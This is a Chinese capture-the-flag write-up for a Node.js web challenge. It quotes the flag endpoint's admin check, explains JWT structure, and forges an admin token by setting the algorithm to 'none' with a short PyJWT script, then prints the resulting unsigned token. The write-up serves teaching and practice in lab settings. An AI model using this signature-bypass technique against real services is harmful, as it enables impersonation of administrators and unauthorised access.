题目分析

读取/controllers/api.js,发现如下代码:

 'GET /api/flag': async (ctx, next) => {
    if(ctx.session.username !== 'admin'){
        throw new APIError('permission error', 'permission denied');
    }
    const flag = fs.readFileSync('/flag').toString();
    ctx.rest({
        flag
    });

也就是想要拿到flag,用户名必须是admin。接下来应该考虑的就是如何让用户名是admin。

先随便注册个账户看看,不允许用户名为admin,注册其他名字成功返回这一串东西:

{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJyb290IiwicGFzc3dvcmQiOiJyb290MTIzIiwiaWF0IjoxNTg3MzU4OTczfQ.dA1Z4aFsbjzIHSJe3H00piexOLj6ptKmqZaB9PztVs0″}

这一串东西就是JWT辣。

初识JWT

JWT ( JSON Web Token 的缩写)是一串带有声明信息的字符串,由服务端用加密算法对信息签名来保证其完整性和不可伪造。Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。

JWT由三部分组成:Header(头部), Payload(负载), Signature(签名)。各部分用. 相连构成一个完整的Token,形如xxxxx.yyyyy.zzzzz

可以用https://jwt.io/解一下看看内容:

头部中包含了JWT配置方面的信息,签名算法(alg),类型(JWT)。

有效载荷(PAYLOAD)用于存储用户的数据。

由于头部和有效载荷以明文形式存储,因此,需要使用签名来防止数据被篡改。提供数据的相关函数使用的签名算法通常是RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法,签名对象是base64UrlEncode(headers) + ‘.’ + base64UrlEncode(‘signature’)。

JWT攻击技术

签名算法可以确保JWT在传输过程中不会被恶意用户所篡改,但头部中的alg字段却可以改为none。用户可控,当用户传入不存在的secretid,会导致alg字段为none。

这道题我们只需要生成一个 secretid 为空数组的令牌,username 设置为 admin,加密方式为 none,密码我设为了123456

# pip3 install pyjwt
import jwt
token = jwt.encode({"secretid":"","username":"admin","password":"123456","iat":1587358973},algorithm="none",key="").decode(encoding='utf-8')
print(token)

运行后生成:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6IiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzM1ODk3M30.

在登录界面,把这一串验证贴进去,返回{“status”:true}:

登陆成功,访问api/flag即可。

⚪参考:

赵师傅的WP:https://www.zhaoj.in/read-6512.html

evoa师傅的出题笔记:https://evoa.me/index.php/archives/60/

JSON Web Token (JWT) 攻击技巧:https://xz.aliyun.com/t/2338